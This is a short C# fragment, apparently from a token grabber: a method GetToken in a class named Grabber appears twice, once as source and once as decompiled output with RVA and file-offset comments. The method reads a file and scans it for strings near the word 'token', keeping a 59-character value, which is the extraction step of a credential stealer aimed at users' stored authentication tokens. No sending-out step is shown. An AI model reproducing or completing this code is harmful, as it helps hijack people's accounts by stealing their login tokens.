public static string GetToken(string path, bool isLog = false) { string str1 = Encoding.UTF8.GetString(File.ReadAllBytes(path)); string str2 = ""; string contents = str1; while (contents.Contains("oken")) { string[] strArray = Grabber.Sub(contents).Split('"'); str2 = strArray[0]; contents = string.Join("\"", strArray); if (isLog && str2.Length == 59) { break; } } return(str2); }
// Token: 0x06000003 RID: 3 RVA: 0x00002158 File Offset: 0x00000358 public static string GetToken(string path, bool isLog = false) { byte[] bytes = File.ReadAllBytes(path); string @string = Encoding.UTF8.GetString(bytes); string text = ""; string text2 = @string; while (text2.Contains("oken")) { string[] array = Grabber.Sub(text2).Split(new char[] { '"' }); text = array[0]; text2 = string.Join("\"", array); if (isLog && text.Length == 59) { break; } } return(text); }